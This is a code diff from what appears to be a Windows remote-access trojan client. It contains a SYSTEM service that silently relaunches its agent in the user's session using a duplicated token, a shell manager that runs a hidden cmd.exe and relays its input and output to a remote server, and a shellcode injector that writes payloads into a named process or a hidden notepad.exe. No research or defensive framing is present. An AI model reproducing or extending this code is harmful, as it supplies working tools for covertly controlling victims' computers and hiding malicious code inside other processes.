static DWORD WINAPI MonitorThreadProc(LPVOID param)
|
||||
{
|
||||
SessionMonitor* monitor = (SessionMonitor*)param;
|
||||
MonitorLoop(monitor);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void MonitorLoop(SessionMonitor* self)
|
||||
{
|
||||
int loopCount = 0;
|
||||
PWTS_SESSION_INFO pSessionInfo = NULL;
|
||||
DWORD dwCount = 0;
|
||||
DWORD i;
|
||||
BOOL foundActiveSession;
|
||||
DWORD sessionId;
|
||||
char buf[256];
|
||||
int j;
|
||||
|
||||
Mprintf("Monitor loop started");
|
||||
|
||||
while (self->running) {
|
||||
loopCount++;
|
||||
|
||||
// 清理已终止的进程
|
||||
CleanupDeadProcesses(self);
|
||||
|
||||
// 枚举所有会话
|
||||
pSessionInfo = NULL;
|
||||
dwCount = 0;
|
||||
|
||||
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
|
||||
&pSessionInfo, &dwCount)) {
|
||||
|
||||
foundActiveSession = FALSE;
|
||||
|
||||
for (i = 0; i < dwCount; i++) {
|
||||
if (pSessionInfo[i].State == WTSActive) {
|
||||
sessionId = pSessionInfo[i].SessionId;
|
||||
foundActiveSession = TRUE;
|
||||
|
||||
// 记录活动会话(每5次循环记录一次,避免日志过多)
|
||||
if (loopCount % 5 == 1) {
|
||||
sprintf(buf, "Active session found: ID=%d, Name=%s",
|
||||
(int)sessionId,
|
||||
pSessionInfo[i].pWinStationName);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 检查代理是否在该会话中运行
|
||||
if (!IsAgentRunningInSession(self, sessionId)) {
|
||||
sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
if (LaunchAgentInSession(self, sessionId)) {
|
||||
Mprintf("Agent launched successfully");
|
||||
// 给进程一些时间启动
|
||||
Sleep(2000);
|
||||
} else {
|
||||
Mprintf("Failed to launch agent");
|
||||
}
|
||||
}
|
||||
|
||||
// 只处理第一个活动会话
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundActiveSession && loopCount % 5 == 1) {
|
||||
Mprintf("No active sessions found");
|
||||
}
|
||||
|
||||
WTSFreeMemory(pSessionInfo);
|
||||
} else {
|
||||
if (loopCount % 5 == 1) {
|
||||
Mprintf("WTSEnumerateSessions failed");
|
||||
}
|
||||
}
|
||||
|
||||
// 每10秒检查一次
|
||||
for (j = 0; j < 100 && self->running; j++) {
|
||||
Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Monitor loop exited");
|
||||
}
|
||||
|
||||
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
char currentExeName[MAX_PATH];
|
||||
char* pFileName;
|
||||
DWORD currentPID;
|
||||
HANDLE hSnapshot;
|
||||
PROCESSENTRY32 pe32;
|
||||
BOOL found = FALSE;
|
||||
DWORD procSessionId;
|
||||
|
||||
(void)self; // 未使用
|
||||
|
||||
// 获取当前进程的 exe 名称
|
||||
if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 获取文件名(不含路径)
|
||||
pFileName = strrchr(currentExeName, '\\');
|
||||
if (pFileName) {
|
||||
pFileName++;
|
||||
} else {
|
||||
pFileName = currentExeName;
|
||||
}
|
||||
|
||||
// 获取当前服务进程的 PID
|
||||
currentPID = GetCurrentProcessId();
|
||||
|
||||
// 创建进程快照
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
Mprintf("CreateToolhelp32Snapshot failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (Process32First(hSnapshot, &pe32)) {
|
||||
do {
|
||||
// 查找同名的 exe(ghost.exe)
|
||||
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
|
||||
// 排除服务进程自己
|
||||
if (pe32.th32ProcessID == currentPID) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// 获取进程的会话ID
|
||||
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
|
||||
if (procSessionId == sessionId) {
|
||||
// 找到了:同名 exe,不同 PID,在目标会话中
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hSnapshot, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hSnapshot);
|
||||
return found;
|
||||
}
|
||||
|
||||
// 终止所有代理进程
|
||||
static void TerminateAllAgents(SessionMonitor* self)
|
||||
{
|
||||
char buf[256];
|
||||
size_t i;
|
||||
AgentProcessInfo* info;
|
||||
DWORD exitCode;
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count);
|
||||
Mprintf(buf);
|
||||
|
||||
for (i = 0; i < self->agentProcesses.count; i++) {
|
||||
info = &self->agentProcesses.items[i];
|
||||
|
||||
sprintf(buf, "Terminating agent PID=%d (Session %d)",
|
||||
(int)info->processId, (int)info->sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查进程是否还在运行
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode == STILL_ACTIVE) {
|
||||
// 进程还在运行,终止
|
||||
if (!TerminateProcess(info->hProcess, 0)) {
|
||||
sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
|
||||
(int)info->processId, (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
} else {
|
||||
Mprintf("Agent terminated successfully");
|
||||
// 等待进程完全退出
|
||||
WaitForSingleObject(info->hProcess, 5000);
|
||||
}
|
||||
} else {
|
||||
sprintf(buf, "Agent PID=%d already exited with code %d",
|
||||
(int)info->processId, (int)exitCode);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
}
|
||||
|
||||
self->agentProcesses.count = 0; // 清空数组
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
Mprintf("All agents terminated");
|
||||
}
|
||||
|
||||
// 清理已经终止的进程
|
||||
static void CleanupDeadProcesses(SessionMonitor* self)
|
||||
{
|
||||
size_t i;
|
||||
AgentProcessInfo* info;
|
||||
DWORD exitCode;
|
||||
char buf[256];
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
i = 0;
|
||||
while (i < self->agentProcesses.count) {
|
||||
info = &self->agentProcesses.items[i];
|
||||
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode != STILL_ACTIVE) {
|
||||
// 进程已退出
|
||||
sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
|
||||
(int)info->processId, (int)exitCode);
|
||||
Mprintf(buf);
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue; // 不增加 i,因为删除了元素
|
||||
}
|
||||
} else {
|
||||
// 无法获取退出代码,可能进程已不存在
|
||||
sprintf(buf, "Cannot query agent PID=%d, removing from list",
|
||||
(int)info->processId);
|
||||
Mprintf(buf);
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
}
|
||||
|
||||
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
char buf[512];
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hDupToken = NULL;
|
||||
HANDLE hUserToken = NULL;
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
LPVOID lpEnvironment = NULL;
|
||||
char exePath[MAX_PATH];
|
||||
char cmdLine[MAX_PATH + 20];
|
||||
DWORD fileAttr;
|
||||
BOOL result;
|
||||
AgentProcessInfo info;
|
||||
DWORD err;
|
||||
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
|
||||
sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
|
||||
|
||||
// 获取当前服务进程的 SYSTEM 令牌
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||
sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为可用于创建进程的主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 修改令牌的会话 ID 为目标用户会话
|
||||
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Token duplicated");
|
||||
|
||||
// 获取当前进程路径(启动自己)
|
||||
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
|
||||
Mprintf("GetModuleFileName failed");
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
sprintf(buf, "Service path: %s", exePath);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查文件是否存在
|
||||
fileAttr = GetFileAttributes(exePath);
|
||||
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
|
||||
sprintf(buf, "ERROR: Executable not found at: %s", exePath);
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 构建命令行:同一个 exe, 但带上 -agent 参数
|
||||
sprintf(cmdLine, "\"%s\" -agent", exePath);
|
||||
|
||||
sprintf(buf, "Command line: %s", cmdLine);
|
||||
Mprintf(buf);
|
||||
|
||||
// 获取用户令牌用于环境变量
|
||||
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||
sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 使用用户令牌创建环境块
|
||||
if (hUserToken) {
|
||||
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||
Mprintf("CreateEnvironmentBlock failed");
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hUserToken);
|
||||
}
|
||||
|
||||
// 在用户会话中创建进程
|
||||
result = CreateProcessAsUser(
|
||||
hDupToken,
|
||||
NULL, // 应用程序名(在命令行中解析)
|
||||
cmdLine, // 命令行参数:ghost.exe -agent
|
||||
NULL, // 进程安全属性
|
||||
NULL, // 线程安全属性
|
||||
FALSE, // 不继承句柄
|
||||
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志
|
||||
lpEnvironment, // 环境变量
|
||||
NULL, // 当前目录
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
if (lpEnvironment) {
|
||||
DestroyEnvironmentBlock(lpEnvironment);
|
||||
}
|
||||
|
||||
if (result) {
|
||||
sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 保存进程信息,以便停止时可以终止它
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
info.processId = pi.dwProcessId;
|
||||
info.sessionId = sessionId;
|
||||
info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止
|
||||
AgentArray_Add(&self->agentProcesses, &info);
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
|
||||
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
|
||||
} else {
|
||||
err = GetLastError();
|
||||
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
|
||||
Mprintf(buf);
|
||||
|
||||
// 提供更详细的错误信息
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
Mprintf("ERROR: agent executable file not found");
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
|
||||
} else if (err == 1314) {
|
||||
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
|
||||
return result;
|
||||
}
|
||||
57
client/SessionMonitor.h
Normal file
57
client/SessionMonitor.h
Normal file
@@ -0,0 +1,57 @@
|
||||
#ifndef SESSION_MONITOR_H
|
||||
#define SESSION_MONITOR_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <wtsapi32.h>
|
||||
|
||||
#ifndef SAFE_CLOSE_HANDLE
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "wtsapi32.lib")
|
||||
|
||||
// 代理进程信息
|
||||
typedef struct AgentProcessInfo {
|
||||
DWORD processId;
|
||||
DWORD sessionId;
|
||||
HANDLE hProcess;
|
||||
} AgentProcessInfo;
|
||||
|
||||
// 代理进程数组(动态数组)
|
||||
typedef struct AgentProcessArray {
|
||||
AgentProcessInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} AgentProcessArray;
|
||||
|
||||
// 会话监控器结构
|
||||
typedef struct SessionMonitor {
|
||||
HANDLE monitorThread;
|
||||
BOOL running;
|
||||
CRITICAL_SECTION csProcessList;
|
||||
AgentProcessArray agentProcesses;
|
||||
} SessionMonitor;
|
||||
|
||||
// 初始化会话监控器
|
||||
void SessionMonitor_Init(SessionMonitor* self);
|
||||
|
||||
// 清理会话监控器资源
|
||||
void SessionMonitor_Cleanup(SessionMonitor* self);
|
||||
|
||||
// 启动会话监控
|
||||
BOOL SessionMonitor_Start(SessionMonitor* self);
|
||||
|
||||
// 停止会话监控
|
||||
void SessionMonitor_Stop(SessionMonitor* self);
|
||||
|
||||
void ServiceWriteLog(const char* message, const char* filename);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SESSION_MONITOR_H */
|
||||
190
client/ShellManager.cpp
Normal file
190
client/ShellManager.cpp
Normal file
@@ -0,0 +1,190 @@
|
||||
// ShellManager.cpp: implementation of the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ShellManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
m_bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄
|
||||
m_hShellThreadHandle = NULL;
|
||||
SECURITY_ATTRIBUTES sa = {0};
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE; //重要
|
||||
m_hReadPipeHandle = NULL; //client
|
||||
m_hWritePipeHandle = NULL; //client
|
||||
m_hReadPipeShell = NULL; //cmd
|
||||
m_hWritePipeShell = NULL; //cmd
|
||||
//创建管道
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
|
||||
if(m_hReadPipeHandle != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
}
|
||||
if(m_hWritePipeShell != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {
|
||||
if(m_hWritePipeHandle != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
}
|
||||
if(m_hReadPipeShell != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
//获得Cmd FullPath
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
|
||||
//C:\windows\system32\cmd.exe
|
||||
strcat(strShellPath,"\\cmd.exe");
|
||||
|
||||
//1 Cmd Input Output 要和管道对应上
|
||||
//2 Cmd Hide
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0}; //CreateProcess
|
||||
|
||||
memset((void *)&si, 0, sizeof(si));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
|
||||
si.cb = sizeof(STARTUPINFO); //重要
|
||||
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell; //将管道赋值
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
//启动Cmd进程
|
||||
//3 继承
|
||||
|
||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄
|
||||
m_hShellThreadHandle = pi.hThread;
|
||||
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
{
|
||||
unsigned long dwReturn = 0;
|
||||
char szBuffer[1024] = {0};
|
||||
DWORD dwTotal = 0;
|
||||
CShellManager *This = (CShellManager*)lParam;
|
||||
while (This->m_bStarting) {
|
||||
Sleep(100);
|
||||
//这里检测是否有数据 数据的大小是多少
|
||||
while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞
|
||||
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) {
|
||||
//如果没有数据就跳出本本次循环
|
||||
if (dwReturn <= 0)
|
||||
break;
|
||||
memset(szBuffer, 0, sizeof(szBuffer));
|
||||
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
|
||||
//读取管道数据
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
int skipBytes = min(This->m_nCmdLength, (int)dwReturn);
|
||||
const char *pStart = (char*)szTotalBuffer + skipBytes;
|
||||
int length = (int)dwReturn - skipBytes;
|
||||
This->m_nCmdLength -= skipBytes;
|
||||
if (length > 0)
|
||||
This->m_ClientObject->Send2Server(pStart, length);
|
||||
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
|
||||
This->m_hThreadRead = NULL;
|
||||
Mprintf("ReadPipe线程退出\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_nCmdLength = (ulLength - 2);// 不含"\r\n"
|
||||
unsigned long dwReturn = 0;
|
||||
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
||||
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
||||
Sleep(100);
|
||||
|
||||
if (m_hReadPipeHandle != NULL) {
|
||||
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
}
|
||||
if (m_hWritePipeHandle != NULL) {
|
||||
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
}
|
||||
if (m_hReadPipeShell != NULL) {
|
||||
DisconnectNamedPipe(m_hReadPipeShell);
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
}
|
||||
if (m_hWritePipeShell != NULL) {
|
||||
DisconnectNamedPipe(m_hWritePipeShell);
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
}
|
||||
while (m_hThreadRead) {
|
||||
Sleep(200); // wait for thread to exit
|
||||
}
|
||||
}
|
||||
37
client/ShellManager.h
Normal file
37
client/ShellManager.h
Normal file
@@ -0,0 +1,37 @@
|
||||
// ShellManager.h: interface for the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
#define AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
HANDLE m_hReadPipeShell;
|
||||
HANDLE m_hWritePipeShell;
|
||||
|
||||
virtual ~CShellManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||
|
||||
BOOL m_bStarting;
|
||||
HANDLE m_hThreadRead;
|
||||
int m_nCmdLength; // 输入的命令长度
|
||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||
HANDLE m_hShellThreadHandle;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
272
client/ShellcodeInj.h
Normal file
272
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,272 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#ifndef IMAGE_FILE_MACHINE_ARM64
|
||||
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
|
||||
#endif
|
||||
|
||||
DWORD HashFunctionName(LPSTR name);
|
||||
|
||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||
|
||||
// A shell code injector.
|
||||
class ShellcodeInj
|
||||
{
|
||||
public:
|
||||
ShellcodeInj(BYTE* buf, int len, const char *func=0, LPVOID userData=0, DWORD userLength=0)
|
||||
{
|
||||
m_buffer = buf;
|
||||
m_length = len;
|
||||
m_userFunction = func ? HashFunctionName((char*)func) : 0;
|
||||
m_userData = userData;
|
||||
m_userLength = userLength;
|
||||
}
|
||||
|
||||
// Return the process id if inject succeed.
|
||||
int InjectProcess(const char* processName = nullptr, bool hasPermission=false)
|
||||
{
|
||||
if (m_buffer == NULL) return 0;
|
||||
|
||||
if (processName) {
|
||||
auto pid = GetProcessIdByName(processName);
|
||||
if (pid ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false)
|
||||
return pid;
|
||||
}
|
||||
if (hasPermission) {
|
||||
auto pid = LaunchNotepadWithCurrentToken();
|
||||
if (pid) {
|
||||
return InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pid : 0;
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS_INFORMATION pi = {};
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE; // hide the window
|
||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return InjectShellcode(pi.dwProcessId, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pi.dwProcessId : 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool InjectProcess(int pid)
|
||||
{
|
||||
return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false;
|
||||
}
|
||||
|
||||
// Check if the process is 64bit.
|
||||
static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||
{
|
||||
is64Bit = FALSE;
|
||||
BOOL bWow64 = FALSE;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||
|
||||
if (fnIsWow64Process2) {
|
||||
USHORT processMachine = 0, nativeMachine = 0;
|
||||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) {
|
||||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) &&
|
||||
(nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64);
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
// Old system use IsWow64Process
|
||||
if (IsWow64Process(hProcess, &bWow64)) {
|
||||
if (bWow64) {
|
||||
is64Bit = FALSE; // WOW64 → 一定是 32 位
|
||||
} else {
|
||||
#ifdef _WIN64
|
||||
is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位
|
||||
#else
|
||||
is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false
|
||||
#endif
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private:
|
||||
BYTE* m_buffer = NULL;
|
||||
int m_length = 0;
|
||||
DWORD m_userFunction = 0;
|
||||
LPVOID m_userData = 0;
|
||||
DWORD m_userLength = 0;
|
||||
DWORD LaunchNotepadWithCurrentToken()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
// 打开当前进程 token
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
|
||||
&hToken)) {
|
||||
Mprintf("OpenProcessToken failed: %d\n", GetLastError());
|
||||
return 0;
|
||||
}
